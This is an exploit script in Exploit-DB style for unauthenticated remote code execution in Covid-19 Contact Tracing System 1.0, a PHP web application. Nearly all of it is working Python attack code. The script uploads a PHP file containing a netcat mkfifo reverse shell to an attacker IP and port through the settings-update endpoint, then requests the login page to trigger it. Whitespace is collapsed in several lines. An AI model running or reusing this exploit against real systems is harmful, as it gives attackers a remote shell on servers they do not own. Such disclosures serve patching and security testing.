# Exploit Title: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated)# Date: 28-02-2021# Exploit Author: Christian Vierschilling# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html# Version: 1.0# Tested on: PHP 7.4.14, Linux x64_x86# --- Description --- ## The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.# --- Proof of concept --- ##!/usr/bin/python3import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
deffile_upload(target_ip, attacker_ip, attacker_port):
random_file_name =str(random.randint(100000,999999))+"revshell.php"
revshell_string ='<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
m = MultipartEncoder(fields={'name':'PWNED','img':(random_file_name, revshell_string,'application/x-php')})print("(+) Uploading php reverse shell..")
r1 = requests.post('http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type})if r1.text =='1':print("(+) File upload seems to have been successful!")returnNoneelse:print("(-) Oh no, the file upload seems to have failed!")
exit()deftrigger_shell(target_ip):print("(+) Now trying to trigger our shell..")#The file we uploaded previously is expected to be an image that the web app tries to embed into the login page.#So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name.
r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip))returnNonedefmain():iflen(sys.argv)!=4:print('(+) usage: %s <target ip> <attacker ip> <attacker port>'% sys.argv[0])print('(+) eg: %s 10.0.0.1 10.13.37.10 4444'% sys.argv[0])
sys.exit(-1)
target_ip = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]
file_upload(target_ip, attacker_ip, attacker_port)
trigger_shell(target_ip)print("\n(+) done!")if __name__ =="__main__":
main()